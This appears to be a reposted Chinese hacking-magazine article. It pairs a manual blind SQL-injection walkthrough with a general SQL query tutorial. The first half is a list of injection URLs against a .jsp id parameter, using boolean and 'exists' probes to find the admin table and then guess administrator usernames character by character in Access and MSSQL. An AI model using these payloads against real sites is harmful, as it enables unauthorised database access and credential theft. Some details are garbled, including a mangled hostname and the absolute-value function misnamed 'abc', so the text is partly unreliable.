可能有人会说这个题目太假了，对，没错，是有点假，但是内容确实是本人整理的。希望可以给大家带来帮助。 检测可否注入 http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and 1=1 (正常页面) http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and 1=2 (出错页面) 检测表段的 http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select * from admin) 检测字段的 http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select username from admin) 检测ID http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where ID=1) 检测长度的 http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where len(username)=5 and ID=1) 检测长度的 http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where len(username)=5 and ID=1) 检测是否为MSSQL数据库 http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select * from sysobjects) 检测是否为英文 (ACCESS数据库) http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1) (MSSQL数据库) http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1) 检测英文的范围 (ACCESS数据库) http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1) (MSSQL数据库) http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1) 检测那个字符 (ACCESS数据库) http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1) (MSSQL数据库) http://HdhCmsTest2cto测试数据 /publics/detail.jsp?id=7674 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1) 常用函数 Access：asc(字符) SQLServer：unicode(字符) 作用：返回某字符的ASCII码 Access：chr(数字) SQLServer：nchar(数字) 作用：与asc相反，根据ASCII码返回字符 Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L) 作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串 Access：abc(数字) SQLServer：abc (数字) 作用：返回数字的绝对值（在猜解汉字的时候会用到） Access：A between B And C SQLServer：A between B And C 作用：判断A是否界于B与C之间 and exists(Select top 1 * From 用户order by id) 1.在查询结果中显示列名： a.用as关键字：select name as ’姓名’from students order by age b.直接表示：select name ’姓名’from students order by age 2.精确查找 a.用in限定范围：select * from students where native in (’湖南’, ’四川’) b.between...and：select * from students where age between 20 and 30 c.[=]：select * from students where name = ’李山’ d.like:select * from students where name like ’李%’(注意查询条件中有[%]，则说明是部分匹配，而且还有先后信息在里面，即查找以[李]开头的匹配项。所以若查询有[李]的所有对象，应该命令：’%李%’;若是第二个字为李，则应为’_李%’或’_李’或’_李_’。) e.[]匹配检查符：select * from courses where cno like ’[AC]%’(表示或的关系，与"in(...)"类似，而且"[]"可以表示范围，如：select * from courses where cno like ’[A-C]%’) 3.对于时间类型变量的处理 a.smalldatetime：直接按照字符串处理的方式进行处理，例如：select * from students where birth > = ’1980-1-1’and birth <= ’1980-12-31’ 4.集函数 a.count()求和，如：select count(*) from students (求学生总人数) b.avg(列)求平均，如：select avg(mark) from grades where cno=’B2’ c.max(列)和min(列)，求最大与最小 5.分组group 常用于统计时，如分组查总数：select gender,count(sno) from students group by gender(查看男女学生各有多少) 注意：从哪种角度分组就从哪列"group by" 对于多重分组，只需将分组规则罗列。比如查询各届各专业的男女同学人数 ，那么分组规则有：届别(grade)、专业(mno)和 性别(gender)，所以有"group by grade, mno, gender" select grade, mno, gender, count(*) from students group by grade, mno, gender 通常group还和having联用，比如查询1门课以上不及格的学生，则按学号(sno)分类有： select sno,count(*) from grades where mark<60 group by sno having count(*)>1 6.UNION联合 合并查询结果，如： Select * FROM students Where name like ‘张%’UNION [ALL] Select * FROM students Where name like ‘李%’ 7.多表查询 a.内连接 select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno (注意可以引用别名) b.外连接 b1.左连接 select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno 左连接特点：显示全部左边表中的所有项目，即使其中有些项中的数据未填写完全。 左外连接返回那些存在于左表而右表中却没有的行，再加上内连接的行。 b2.右连接 与左连接类似 b3.全连接 select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno 两边表中的内容全部显示 c.自身连接 select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno 采用别名解决问题。 d.交*连接 select lastname+firstname from lastname CROSS JOIN firstanme 相当于做笛卡儿积 8.嵌套查询 a.用关键字IN,如查询猪猪山的同乡： select * from students where native in (select native from students where name=’猪猪’) b.使用关键字EXIST,比如，下面两句是等价的： select * from students where sno in (select sno from grades where cno=’B2’) select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’) 9.关于排序order a.对于排序order，有两种方法：asc升序和desc降序 b.对于排序order,可以按照查询条件中的某项排列，而且这项可用数字表示，如： select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3 10.其他 a.对于有空格的识别名称，应该用"[]"括住。 b.对于某列中没有数据的特定查询可以用null判断，如select sno,courseno from grades where mark IS NULL c.注意区分在嵌套查询中使用的any与all的区别，any相当于逻辑运算[||]而all则相当于逻辑运算[&&] d.注意在做否定意义的查询是小心进入陷阱： 如，没有选修‘B2’课程的学生 ： select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’ 上面的查询方式是错误的，正确方式见下方： select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’) 11.关于有难度多重嵌套查询的解决思想：如，select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno)) 摘自 摘自 黑客 x档案Blackeagle
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